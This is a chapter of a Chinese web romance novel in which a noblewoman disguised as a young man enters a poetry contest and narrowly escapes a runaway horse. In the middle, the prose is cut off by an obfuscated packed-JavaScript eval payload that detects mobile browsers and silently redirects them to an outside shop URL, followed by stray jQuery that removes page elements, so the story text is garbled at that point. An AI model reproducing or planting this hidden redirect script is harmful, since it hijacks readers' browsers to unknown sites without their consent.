文趣网 > 其他小说 > 夫君嫌我太高冷 > 13. 第13章
    金珠不问缘由捧着小木匣小跑出去,但向来聪慧的银钏立即明了崔洮未说尽的意思。

    这是要同谢家四少爷彻底划清界限了?

    银钏抹了把脸欲再言说什么,但待看清姑娘一双杏眸中暗藏的失神与失望,又见她默然将蔺家送来玉扳指放入宝盒中代替原来陶泥娃娃的位置,银钏启开的唇又缓缓合上。

    确实没有回转的余地了——崔洮心底亦如是地说。

    崔洮轻轻舒出口气,唇角微勾,抬起头,“上回你可是说了山涛君要在今日于玉阳楼办诗会?”

    山涛君原名阮康,祖上曾是中原贵族,后家道中落沦为寒门,虽未能入中堂效力大梁,但才情满载,闻名天下,他之洒脱自在更受名流推崇。

    崔洮很欣赏这位大家,从前但逢山涛君办诗会必要拨冗去围观,前几日她心情郁郁兴致提不起来,今日念起倒想去看看,透透气。

    银钏颔首,眼睛瞄去外间天色。按时辰算,玉阳楼的诗会早已开始,眼下出门也堪堪只能赶上后半场,但全未做安排姑娘却要临时外出,不合规矩。

    然崔洮一听自己没记错,无管银钏阻拦,当即抱着宝盒折返内间,自顾掏出一套男装便更衣换妆起来。

    小半时辰后,一个玉面玉冠的小小公子便领着她的小小长随出现在玉阳楼大堂最外圈的围桌上。

    玉阳楼并非金陵最大的酒楼,但胜在装潢典雅,以纸砚笔墨布局,以圈层式课桌编排,构建出众星拱月围绕大儒讲学的氛围,故而成为文人墨客常聚之所。

    今日大家山涛君在此开办诗会,免不得人满为患,所幸崔洮与银钏赶到时,还能挤进最外围的“课桌”。

    这会子,诗会已经进入尾声,斗法之声绝然,只见白袍宽袖大儒衫的山涛君坐那正中间,折扇一敞一收,往左手掌心一拍,肃起脸,扬起眉,“如何,你们认不认输?”

    话落,便有玉阳楼掌柜的在旁大笑附和:“山涛君既说要将这梅兰竹菊君子图赠予金某做镇店之宝,七贤何故要与金某抢夺?”

    七贤是金陵城中自封最有才华之名流大士,亦为此次山涛君组办诗会邀请的主角,他们坐在高台上山涛君的前方,宛若学生,受着山涛君的问询......不过看起来,他们并未经受住前辈的考验。

    是以,金平已经笑着从座上起身去往今日的战利品处——一幅梅兰竹菊四君子合成画。

    瞧着那画笔线条细腻,笔锋有力。竟是山涛君真迹!

    崔洮不由心中惊呼,当下亦听见周遭人呼声道——

    “既说只要是高才者为此画写出叫山涛君满意的题词便可得此画,为何不允我等也试一试?我等虽无大家名号,但亦是饱读诗书之人,未必就比不上你们七贤写的那些风骨文书。”

    “正是正是,七贤又如何,所谓天外有天人外有人,山涛君何不听听我们的诗词,也好过让此等绝世画作空悬?”

    “金掌柜,你既已开了这赌约,便当履行到底,除非你也能写出那题词来,否则你将那画作据为己有,心中可过意得去?”

    ......

    几声呼喝声起后,堂内随之沸腾,一时不能平歇。

    那玉阳楼金掌柜金平被这阵势吓得愣了愣脸,但生意人很快便转回笑颜。他自抬手请大家安静,尔后又与山涛君耳语两句,便自上高台前与众人拱手:“难得诸位高兴,若真有高才者,金某必不吝割爱。”

    他说:“前有曹植七步成诗,现有金某玉阳楼一刻题词,在场诸位若能于一刻之内将题词交予金某店中小二,还能得山涛君认可,那这梅兰竹菊图便落入谁家,如何?”

    话落,他竟真的就请了小二们来分发纸笔,众宾客人手一份,包括崔洮与银钏。

    银钏必然是不会写作的,可崔洮想要那画作又不想在人前露面。

    弃了?可机不可失时不再来。

    崔洮心念一转,杏眸半眯,看过高台上山涛君身后那画作,又环视面前一圈又一圈低头题词的人。

    试试就试试。

    崔洮一挥笔,洋洋洒洒几行,至终落款“银生”二字,便于半刻钟交了卷。

    银钏瞄见了,扯着崔洮袖子便是惊呼:“公子,您怎地写了我的名字?”

    银生是银钏女扮男装时的名字,金生是金珠女扮男装时的名字。崔洮用了银钏的名字写了题词参赛。

    “我若中了那题词,难道亲自上去领画吗?”崔洮挡住银钏要阻拦她递交纸张的手,将她按回位子上,余光扫视过周边或冥思苦想或已志在必得的众人,压低了声音,道:“我有七成把握,一会儿若中了,你便上去领那画作尔后从后门溜出玉阳楼,我在停马的位置等你。”

    如此一来,即便中了那画作受人瞩目,崔洮也不必当当地出现在人前,以致身份败露。

    然银钏一听姑娘的提议更要拒绝,“今日金珠本就不在,我还落下姑娘一人,若姑娘真有个三长两短......”

    “你就说你答应不答应。”崔洮却哪里能叫银钏说完话,甚至还挑起眉瞪她。

    银钏真是哑巴吃黄连有苦说不出,顶着崔洮凌凌盛意,终是苦哈哈地点了点头。

    这会子,一刻钟刚好已过去,台下所有题词皆收到高台,交至山涛君台案前。

    崔洮推开银钏又看去高台上,一时心脏提到嗓子眼儿上,便连手上抓了黑墨砚台都未曾有觉。

    她定定看着山涛君拧眉沉思,看他不住摇头,看他将手上一张又一张纸揭过,似乎对台下人的题词甚是不满。

    崔洮提到嗓子眼儿上的心脏开始下沉:或许,今日没有最佳了。

    蓦地,她瞧见山涛君眉眼一亮,接着,又是一亮。

    崔洮双目也跟着亮了。

    她看山涛君请了金掌柜和小二前来,笔走龙蛇一番......按那笔触走向,是她的词!

    崔洮笑了。

    她看小二将山涛君抄下的词挂起——不以幽香争暖阁,愿将劲节护苍生。四君子气贯天地,一寸丹心耀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811082|210829||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    九州。署名银生。

    “好啊!妙啊!”

    “既有君子守节之气,又有胸怀天下气度。”

    “此题词当得今日之最。”

    崔洮的题词一经面众,当即引来哗然,个个人站起身往高台上看细细品味,便连山涛君与七贤也都眉目含笑,称赞不绝。

    银钏也欢脱起身,“公子,我们中了。”

    崔洮连连点头,心中畅达,但不忘先前计划,忙地附耳与银钏说:“一会子,你上去领画,我先行离开。”

    言罢,她已迫不及待提步退后,将银钏推到前面,自己伺机转身溜走。

    却是她才转身要迈步,身后却忽而静止,且那高台上传来山涛君的声音——“各位稍安勿躁。这份题词确为高妙,吾亦愿与诸位分享,只那今日之最,阮某心中却另有所属。”

    崔洮闻言拧眉,跟着转身,竟见山涛君指向高台新挂起的另一副题词——沙场百战归来客,独对幽兰竹菊开。铁骨铮铮撑社稷,幽芳淳淳守初心。署名揽月。

    山涛君说:“人人道君子正气,大义凛然,但千帆过尽归来仍不忘初心者,万千几何。如今铁蹄南下扰我中原,南北分崩,天下大乱,你我等安坐于此,共赏佳话,是抛头颅洒热血者献身而得之。是以正值定远侯南归之时,阮某愿以此词为佳,略表对定远侯敬重之心,不知诸位认可否?”

    定远侯本已是大梁人心中的战神,如今他返回金陵,满城都是他的传说。山涛君要敬他,旁人哪还能不同意?

    崔洮才掀起的喜悦被当头浇灭。

    是了,即便她以为那未曾谋面的夫君非为良配,但他是大梁乃至所有汉人的大英雄。若没有他的祖辈,便连崔洮她自己也未必能有幸今日站在这里。她难道还要贬了他去争一幅画?

    同样却了兴的银钏也垮了脸,跟去崔洮身边,“公子,那我们还等看彩头赠予吗?”

    今日诗会已经结束,彩头赢家也已出炉,再无什么可看的了。反正,她们没有赢。

    “走罢。”

    崔洮自转身先行出去玉阳楼,银钏紧跟其后。双双遗憾立场。

    银钏瞧见姑娘才好起来的心情又去了七分,心道写那铁马金戈的人属实闹人心,但面上不显只叫姑娘在旁等候,她自去牵马。

    可银钏控马技术实在与金珠相差太远,又逢诗会尾声,许多的看客皆趁结语未完时先行离场,她折腾了一刻钟也未能将两匹马从马群中牵出。

    崔洮看不下去,遂从玉阳楼门前台阶往下拐去。却哪知那马群中不知为何一马受了惊,牵扯另一马扬蹄,更催动数匹马挣脱了缰绳奔逃开来。

    崔洮不妨未曾留意,抬眼时便之间一匹黑马铺天盖脸地冲来,几乎将她视线所及的光亮全部盖住。

    她慌乱中闭眼,只心道要完了,却此时身后忽有一股强劲力道拦腰而来将她扯去。她倒吸一口凉气猛地回转头,一双幽深而不见底的凤眼撞来撅着她的神思......这感觉似曾相识......